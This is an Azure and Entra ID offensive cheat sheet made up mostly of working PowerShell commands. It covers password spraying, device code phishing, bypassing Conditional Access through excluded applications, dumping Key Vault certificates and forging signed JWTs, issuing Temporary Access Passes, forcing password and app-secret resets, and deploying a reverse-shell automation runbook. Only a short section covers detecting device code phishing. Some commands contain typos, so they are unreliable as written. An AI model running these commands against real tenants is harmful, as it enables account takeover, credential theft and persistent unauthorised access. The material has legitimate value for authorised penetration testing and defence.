Cloud
Azure Cheat Sheet

Authentication

  • Using username / app secret
Powershell
# Connect to ARM
# for a normal user, It will open the authentication popup
Connect-AzZccount
# only use -serviceprincipal if you're connecting with a serviceprincipal/app
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant $tenant_id
 
# Connect to MG Graph
Connect-MgGraph -ClientSecretCredential $creds -TenantId $tenant_id
Get-MgContext
  • Using an access token
Powershell
$GraphAccessToken = 'eyJ0...'
Connect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force)
  • Using a certificate
Powershell
$AppCertificate=$[X509Certificate]$AppCertificate = Get-PfxCertificate -FilePath $full_path_to_cert.pfx
Connect-MgGraph -Certificate $AppCertificate -ClientId b1d10eb3-d631-499f-8197-f13de675904c -TenantId $tenant_id
  • Force change password for a user
Powershell
# According to your role in Graph and Administrative unit role
$passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = '$New_P@ssw0rd'
}
 
Update-MgUser -UserId $target_user@$targetcorp.onmicrosoft.com -PasswordProfile $passwordProfile
  • Force change app secret for application/serviceprincipal
Powershell
$passwordCred = @{
displayName = 'Added by Azure Service Bus - DO NOT DELETE'
endDateTime = (Get-Date).AddMonths(6)
}
 
Add-MgApplicationPassword -ApplicationId da53a80e-cb86-4158-96e1-7b19f7fec496 -PasswordCredential $passwordCred

Recon

Tenant

  • Check if Azure tenant exists

    Get XML response
    https://login.microsoftonline.com/getuserrealm.srf?xml=1&login==username@defcorp.onmicrosoft.com
    Get JSON Response
    https://login.microsoftonline.com/getuserreal.srf?json=1&login==username@defcorp.onmicrosoft.com

    Response

    <RealmInfo Success="true">
    <State>4</State>
    <UserState>1</UserState>
    <Login>=something@defcorphq.onmicrosoft.com</Login>
    <NameSpaceType>Managed</NameSpaceType>
    <DomainName>defcorphq.onmicrosoft.com</DomainName>
    <IsFederatedNS>false</IsFederatedNS>
    <FederationBrandName>Defense Corporation</FederationBrandName>
    <CloudInstanceName>microsoftonline.com</CloudInstanceName>
    <CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
    </RealmInfo>

    Look for the NameSpaceType attribute:

    • Managed --> means It doesn't use Federated services ADFS
    • Unknown --> means tenant doesn't exist.
  • Get the tenant Information

Visit

# Get tenant id
https://login.microsoftonline.com/defcorp.onmicrosoft.com/.well-known/openid-configuration

Emails

Powershell
# Enumerate Email IDs by making requests to the `GetCredentialType` API
python.exe o365creeper.py -f emails.txt -o validemails.txt

Services

Powershell
# Enumerates subdomains by subdomain guessing
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base defcorphq -Verbose

Initial Access

Password Spray & Bruteforce

Against the exchange service

Powershell
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile sprayed-ews-creds.txt

Device Code Phishing

  1. Generate device_code
    Powershell
    # This is a microsoft office client_id
    $ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
     
    # This is all permissions scope
    # offline_access scope gives us a refresh_token for longer access time
    $Scope=".default offline_access"
     
    $GrantType = "urn:ietf:params:oauth:grant-type:device_code"
    $body = @{
    "client_id" = $ClientID
    "scope" = $Scope
    }
     
    $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
    Write-Output $authResponse
  2. The response contains some parameterse. most important ones are user_code, device_code and verification_uri.
  3. Request tokens using the device_code
    Powershell
    $body=@{
    "client_id" = $ClientID
    "grant_type" = $GrantType
    "code" = $authResponse.device_code
    }
    $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
    $GraphAccessToken = $Tokens.access_token

This attack has a single limitation which is that the verification_uri is only valid for 15 minutes. We can bypass that using:

Dynamic Device Code Phishing: + FOCI Family Of Client IDs

    • In this attack we will send a link to the user that generates the user_code once the user clicks on it. so now the timer will start by user clicking the link. We will need:
    • Storage account to:
      • Host the static website (The website that will be sent to the user as a phishing link)
      • Store the tokens after being fetched by the Aunction App.
    • App Service: To host CORS Anywhere (opens in a new tab) application to bypass CORS limitations of Azure
    • Function App:
      • Request the tokens and store them in the storage account.
  1. Leverege FRT and FOCI

Defending against Device Code Phishing: Detection:

  • the attacker IP and Device that is logged in Entra ID Sign-in logs - as the authentication is initiated from there!
  • Look at User sign-ins with Authentication Protocol: Device Code. Prevention:
  • Using Condition Access policies:
    • Location based Conditional Access Policy.
    • Device Code Authentication Flow Conditional Access Policy. (Allow or Block) device code flow for any Identity.

Services

Usually we use AzureAD Module or AZ Powershell to interact with Azure AD

Graph

Users

Powershell
# Enumerate all users
Get-AzureADUser -All $true
 
# Enumerate a specific user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com'
 
# Search for a user based on string in first characters of DisplayName or userPrincipalName (wildcard not supported)
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $ |?{$_.Displayname -match "admin"}
 
# List all attributes for a user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com' | fl *
 
# Search attributes for all users that contain the string "password"
Get-AzureADUser -All $true|%{$Properties = $_;$Properties.PSObject.Properties.Name |${if ($Properties.$_ -match 'password'){"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
 
# All users who are synced from on prem
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -ne $null}
 
# All users who are synced from AzureAD
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -eq $null}
 
# Objects created by any user (use -ObjectId for a specific user)
Get-AzureADUser | Get-AzureADUserCreatedObject

Groups

Powershell
# Enumerate a group with a group id
Get-MgGroup -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | fl
 
# List group members
Get-MgGroupMember -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
 
# List groups a user is a member of 
(Get-MgUserMemberOf -UserId  explorationsyncuser1@oilcorporation.onmicrosoft.com).AdditionalProperties
# Add a user to a group
New-MgGroupMember -GroupId 91f7bfb1-b326-4376-8953-5d6d9b44e443 -DirectoryObjectId $user_account_id -Verbose

Administrative Units

Powershell
# Enumerate the administrative unit
Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 |fl
 
# List members of an administrative unit
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl

Roles

Powershell
# Get role RoleDefinition
# Gets more info / Description about the role
 
 Get-AzRoleDefinition -Name "Role Display Name"

Devices

Powershell
# List Registered owners of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
 
# Get all Azure joined and registered devices
Get-AzureADDevice -All $true | fl *
 
# Get the device configuration object (note the RegistrationQuota in the output)
Get-AzureADDeviceConfiguration | fl *
 
# List Registered users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
 
# List devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices managed using Intune
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices that are compliant
Get-AzureADDevice -All $true | ? { $_.IsCompliant -eq "True" }

Applications

  • Applications Enumeration
Powershell
# List all applications in Entra ID
Get-MgApplication -All
  • Check if any application has client secret or certificates
Powershell
$URI = "https://graph.windows.net/v1.0/Applications"
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $GraphAccessToken"
    }
}
$Applications = (Invoke-RestMethod @RequestParams).value
 
$ApplicationsDetails = [PSCustomObject]@{
    Applications = @()}
foreach($Application in $Applications)
{
    $applicationObject = [PSCustomObject]@{
        DisplayName = $Application.displayName
        AppId = $Application.appId
        CreatedDateTime = $Application.createdDateTime
        ID = $Application.id
        keyCredentials = $Application.keyCredentials
        passwordCredentials = $Application.passwordCredentials
    }
    $ApplicationsDetails.Applications += $applicationObject
}
$ApplicationsDetails.Applications
 
# Save output to a file for later use
$ApplicationsDetails.Applications | Export-Clixml -Path .\Applications.xml

Service Principals

Powershell
# Get roles assigned to a service principal in the EntraID / Graph 
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'cddece96-16c9-4c93-9c9d-97c96f98be1d'" | ForEach-Object {
$roleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId
[PSCustomObject]@{
    RoleDisplayName = $roleDef.DisplayName
    RoleId = $roleDef.Id
    DirectoryScopeId = $_.DirectoryScopeId
}
} | Select-Object RoleDisplayName, RoleId, DirectoryScopeId | fl
 
 
# Get which member of the Administrative Unit the service principal has "specific Role" on
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId b14fcc2e-7a5a-4935-b4a5-835fd8018efe -All | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
 
# Get owned objectec by serviceprincipalsecret
Get-MgServicePrincipalOwnedObject -ServicePrincipalId $serviceprincipal_id | select Id, @{Name='displayName';Expression={$_.AdditionalProperties.displayName}},@{Name='ObjectTyoe';Expression={$_.AdditionalProperties.'@odata.type'}} | fl
 
Powershell
# Get roles assigned to the service principal in ARM / Named App role assignment
 
$serviceprincipal_id = "$serviceprincipal_id"
 
# Get AppRoleAssignments for the target SP
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId
 
foreach ($assignment in $assignments) {
    # Get the resource service principal (the one that defines the role)
    $resourceSp = Get-MgServicePrincipal -ServicePrincipalId $assignment.ResourceId
 
    # Resolve AppRole using AppId
    $appRole = (Get-MgServicePrincipal -Filter "appId eq '$($resourceSp.AppId)'").AppRoles | Where-Object {
        $_.Id -eq $assignment.AppRoleId
    }
 
    # Output full assignment + resolved role
    $appRole | format-list
}
 
Powershell
# Enumerate Service Principals (visible as Enterprise Applications in Azure Portal).
# A Service Principal is the local representation of an app in a specific tenant.
# It is the security object that can be assigned Azure roles (acts like a "service account").
 
# Get all service principals
Get-AzADServicePrincipal
 
# Get all details about a specific service principal
Get-AzADServicePrincipal -ObjectId cdddd16e-2611-4442-8f45-053e7c37a264 | fl *
 
# Get service principals where the display name matches "app"
Get-AzADServicePrincipal | ? { $_.DisplayName -match "app" }

CAPs

Powershell
# Enumerate CAP
# MG Module
Get-MgIdentityConditionalAccessPolicy | fl
 
# Get all attributes of a CAP
# We should be looking for excluded applications / Groups / ... etc so we can bypass the CAP
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAP_id |ConvertTo-Json
 
# If we have execluded applications (portal,devops,.. etc) we can use devicecode authorization flow to bypass the OTP
 
# U can change the $clientid based on the execluded applications
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
$Scope = "https://management.azure.com/.default"
$body = @{
    "client_id" = $ClientID
    "scope" = $Scope 
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
$authResponse
 
# Now get a token using that device Code
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue

TAP

Powershell
# Check if TAP is enabled
(Get-MgPolicyAuthenticationMethodPolicy).AuthenticationMethodConfigurations
 
# Get more info about TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties
 
# What users/groups can use TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties.includeTargets
 
# Request a TAP for a user
$properties = @{}
$properties.isUsableOnce = $True
$properties.startDateTime = (Get-Date)
$propertiesJSON = $properties | ConvertTo-Json
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId username@domain.onmicrosoft.com -BodyParameter $propertiesJSON | fl

ARM

List all subscriptions with ARM or Microsoft Graph

Powershell
$Token = 'eyJ0eXAi..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'

$RequestParams = @{
    Method  = 'GET'
    Uri     = $URI
    Headers = @{
        Authorization = "Bearer $Token"
    }
}
(Invoke-RestMethod @RequestParams).value

Roles

We should enumerate the role assignments on Azure Resources.

Powershell
Get-AzRoleAssignment

KeyVaults

Depending on the permissions we have on a keyvault, will determine what can we do with stored credentials:

  • If user has /vaults/secrets/getsecret/action --> we can dump the certificate
  • If user hsa vaults/keys/sign/action --> we can use the key to sign a JWT assertion, but can't dump the certificate
  1. Enumerate permissions on a keyvault
Powershell
# Enumerate permissions on the keyvault using the ARM API.
 
# Retrieve KeyVault object (specify name or other params if needed)
$KeyVault = Get-AzKeyVault
 
# Get current subscription ID
$SubscriptionID = (Get-AzSubscription).Id
 
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName     = $KeyVault.VaultName
 
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.KeyVault/vaults/$KeyVaultName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
 
$RequestParams = @{
  Method  = 'GET'
  Uri     = $URI
  Headers = @{
    'Authorization' = "Bearer $Access_Token"   # Ensure $Access_Token is set before running
  }
}
 
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions | Format-List *
  1. Request access token for KeyVault data plane
Powershell
# Get Access Token for KeyVault data plane using the keyvault API and a certificate
$KeyVaultToken = New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://vault.azure.net/.default'
  1. Depending on permissions:
  • If user can dump certificate:

    Powershell
    # Get name of the certificate
    (Get-AzKeyVaultCertificate -VaultName $vault_name).Name
     
    # Extractcertificate from keyvault secret
    $secret = Get-AzKeyVaultSecret -VaultName $vault_name -Name appcert -AsPlainText
     
    # Convert from base64 encoded string
    $secretByte = [Convert]::FromBase64String($secret)
     
    # Write the certificate to a file
    [System.IO.File]::WriteAllBytes(".\Appcert.pfx", $secretByte)
     
     
    # Load the certificate
    $cert=[System.Security.Cryptography.X509Certificates.X509Certificate2]::new("full_path\cert.pfx")
    # certificate to access_token
    . .\New-AccessToken.ps1
    New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://management.azure.com/.default'
  • If user can only sign with the certificate but can't dump it

JWT Assertion Create signed JWT with a certificate from inside a KeyVault

KeyvaultToSignedJWT
function KeyVaultToSignedJWT {
    param(
        [Parameter(Mandatory=$true)]
        [string]$AccessToken,
 
        [Parameter(Mandatory=$true)]
        [string]$VaultName,
 
        [Parameter(Mandatory=$true)]
        [string]$AppId,
 
        [string]$Audience = 'https://login.microsoftonline.com/common/oauth2/token',
 
        # Optional filter to pick a specific certificate by name substring
        [string]$CertificateNameContains,
 
        # API versions (override only if needed)
        [string]$CertificatesApiVersion = '7.4',
        [string]$SignApiVersion = '7.3'
    )
 
    function Convert-ToBase64Url([byte[]]$bytes) {
        $b64 = [Convert]::ToBase64String($bytes)
        $b64 = $b64.TrimEnd('=').Replace('+','-').Replace('/','_')
        return $b64
    }
 
    $headers = @{ Authorization = "Bearer $AccessToken" }
    $baseUri = "https://$VaultName.vault.azure.net"
 
    # 1) List certificates (with paging)
    $listUri  = "$baseUri/certificates?api-version=$CertificatesApiVersion"
    $selected = $null
 
    while ($listUri -and -not $selected) {
        $listResponse = Invoke-RestMethod -Method GET -Uri $listUri -Headers $headers -ContentType 'application/json'
        $items = $listResponse.value
 
        if ($CertificateNameContains) {
            $items = $items | Where-Object { $_.id -like "*$CertificateNameContains*" }
        }
 
        $selected = $items | Select-Object -First 1
 
        if (-not $selected -and $listResponse.nextLink) {
            $listUri = $listResponse.nextLink
        } else {
            $listUri = $null
        }
    }
 
    if (-not $selected) {
        if ($CertificateNameContains) {
            throw "No certificates found in vault '$VaultName' that match '$CertificateNameContains'."
        } else {
            throw "No certificates found in vault '$VaultName'."
        }
    }
 
    # Extract certificate object name from the id segment after 'certificates/'
    $segments = ([Uri]$selected.id).Segments | ForEach-Object { $_.TrimEnd('/') } | Where-Object { $_ }
    $certIndex = [Array]::IndexOf($segments, 'certificates')
    $certName  = if ($certIndex -ge 0 -and $segments.Length -gt ($certIndex + 1)) { $segments[$certIndex + 1] } else { $null }
 
    # 2) Fetch certificate details to obtain 'kid'
    $detailsUri  = "$($selected.id)?api-version=$CertificatesApiVersion"
    $certDetails = Invoke-RestMethod -Method GET -Uri $detailsUri -Headers $headers -ContentType 'application/json'
 
    if (-not $certDetails.kid) {
        throw "Certificate '$certName' does not contain a 'kid'. Ensure the certificate has an associated Key Vault key."
    }
 
    # 3) Build JWT (valid for 2 minutes)
    $epochStart = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
    $now        = (Get-Date).ToUniversalTime()
    $exp        = [math]::Round((New-TimeSpan -Start $epochStart -End $now.AddMinutes(2)).TotalSeconds, 0)
    $nbf        = [math]::Round((New-TimeSpan -Start $epochStart -End $now).TotalSeconds, 0)
 
    $jwtHeader = @{
        alg = 'RS256'
        typ = 'JWT'
        x5t = $selected.x5t
    }
 
    $jwtPayload = @{
        aud = $Audience
        exp = $exp
        iss = $AppId
        jti = [guid]::NewGuid().ToString()
        nbf = $nbf
        sub = $AppId
    }
 
    $headerJson  = ($jwtHeader  | ConvertTo-Json -Compress)
    $payloadJson = ($jwtPayload | ConvertTo-Json -Compress)
    $b64uHeader  = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($headerJson))
    $b64uPayload = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($payloadJson))
 
    $unsignedJwt      = "$b64uHeader.$b64uPayload"
    $unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
 
    # SHA256 hash → base64url
    $hasher        = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
    $jwtSha256Hash = $hasher.ComputeHash($unsignedJwtBytes)
    $jwtDigestB64u = Convert-ToBase64Url $jwtSha256Hash
 
    # 4) Sign using Key Vault key (kid)
    $signUri  = "$($certDetails.kid)/sign?api-version=$SignApiVersion"
    $signBody = @{
        alg   = 'RS256'
        value = $jwtDigestB64u
    } | ConvertTo-Json -Compress
 
    $signHeaders = @{
        Authorization = "Bearer $AccessToken"
        'Content-Type' = 'application/json'
    }
 
    $signResponse = Invoke-RestMethod -Uri $signUri -Method POST -Headers $signHeaders -Body $signBody -ContentType 'application/json'
    $signatureB64 = $signResponse.value
    $signatureB64u = $signatureB64.Replace('+','-').Replace('/','_').TrimEnd('=')
 
    $signedJwt = "$unsignedJwt.$signatureB64u"
 
    # Output composite result
    [pscustomobject]@{
        SignedJwt          = $signedJwt
        CertificateName    = $certName
        X5t                = $selected.x5t
        Kid                = $certDetails.kid
        CertificateDetails = $certDetails
    }
}   
Powershell
$signed_jwt = KeyVaultToSignedJWT -AccessToken $keyvault_access_token -VaultName 'appvault_name' -AppId 'f23a808b-6a01-4fb2-bfd9-bdb3e8390421'
  1. Use the signed JWT token to request an ARM access token
    Powershell
    $uri = "https://login.microsoftonline.com/d6bd5a42-7c65-421c-ad23-a25a5d5fa57f/oauth2/v2.0/token"
    $headers  = @{'Content-Type' = 'application/x-www-form-urlencoded'}
    $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{
        'client_id'             = $AppID
        'client_assertion'      = $signed_jwt.signedjwt
        'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer'
        # change scope based on the resource you want
        # 'scope'               = 'https://storage.azure.com/.default'
        'scope'                 = 'https://management.azure.com/.default'
        'grant_type'            = 'client_credentials'
    })
     
    $token = $response.access_token
    $token

Storage Accounts

Powershell
# Microburst
# Look for storage blobs configured with public access
Invoke-EnumerateAzureBlobs -base mycorp
 
# We can access the files using their URL/file_name
# We can use SAS URLs with Storage Explorer
  • Get exact permissions on a storage account

    Powershell
    $URI = 'https://management.azure.com/subscriptions/3604302a-3804-4770-a878-5fc5c142c8bc/resourceGroups/Exploration/providers/Microsoft.Storage/storageAccounts/oildatastore/providers/Microsoft.Authorization/permissions?api-version=2022-04-01'
     
    $RequestParams = @{
        Method = 'GET'
        Uri = $URI
        Headers = @{
            'Authorization' = "Bearer $access_token"    }
    }
    $DataAnalyticsPermissions = (Invoke-RestMethod @RequestParams).value
    $DataAnalyticsPermissions | fl *
  • List containers in a storage account

    Powershell
    # Get the list of files present in the storage account.
    $URL = "https://$storageaccount_name.blob.core.windows.net/?comp=list"
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
    $Result = Invoke-RestMethod @Params -UseBasicParsing
    $Result 
  • List files inside a container

    Powershell
    $URL = "https://$storageaccount_name.blob.core.windows.net/$container_name?restype=container&comp=list"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
     
    $XML=Invoke-RestMethod @Params -UseBasicParsing
    #Remove BOM characters and list Blob names
    $XML.TrimStart([char]0xEF,[char]0xBB,[char]0xBF) | Select-Xml -XPath "//Name" | foreach {$_.node.InnerXML}
  • Read a file from a storage account container

    Powershell
    $URL = "https://$storageaccount_name.blob.core.windows.net/$container_name/$file_name.txt"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
     
    Invoke-RestMethod @Params -UseBasicParsing
  • Add tags to a file

    Powershell
    $URL = "https://$datastore_name.blob.core.windows.net/$container_name/$file_name?comp=tags"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "PUT"
        "Headers" = @{
        "Content-Type"  = "application/xml; charset=UTF-8"
        "Authorization" = "Bearer $storage_token"
        "x-ms-version" = "2020-04-08"   
        }
    }
     
    $Body = @"
    <?xml version="1.0" encoding="utf-8"?>  
    <Tags>  
        <TagSet>  
            <Tag>  
                <Key>$tag_name</Key>  
                <Value>$tag_value</Value>  
            </Tag>    
        </TagSet>  
    </Tags> 
    " 
    Invoke-RestMethod @Params -UseBasicParsing -Body $Body
     

Automation Accounts

Powershell
# List automation accounts
 
az extension add --upgrade -n automation
az automation account list'
 
# Check if the automation account is using a hybrid worker group. Will allow us to execute commands on on-prem machine
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
 
# Import a powershell script into the runbook
Import-AzAutomationRunbook -Name reverseshell -Path .\reverse-shell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
 
# Publish the runbook
Publish-AzAutomationRunbook -RunbookName reverseshell -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
 
# Start the runbook 
Start-AzAutomationRunbook -RunbookName reverseshell -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

Logic apps

Powershell
# Get the resourceID
get-azresource
 
# Get an access token
$workflow_access_token = (get-azaccesstoken).token
 
# # List permissions on a workflow
$URI = "https://management.azure.com/$resource_id
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
    'Authorization' = "Bearer $accesstoken"
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions.actions
 
# Check for logic app HTTP trigger
Get-AzLogicAppTriggerCallbackUrl -TriggerName manual -Name $logic_app_name -ResourceGroupName $res_group_name 
 
# Read the logic app definition
(Get-AzLogicApp -Name WellPlanningLogicApp).Definition

Enumeration with GUI tools

ROADTools (opens in a new tab)

Bash
# Authentication (It supports username, password, access tokens, device code flow, refresh tokens, , PRT)
roadreconauth -u test@mycorp.onmicrosoft.com -p P@ssw0rd
 
roadrecon gather
roadrecon gui

Persistence

MFA Bypasses

SMTP

  • Because SMTP is a legacy protocol, MFA can't be configured on it. and It can be used with Azure. So if a user's creds got comprimised. We can send emails with his account without MFA.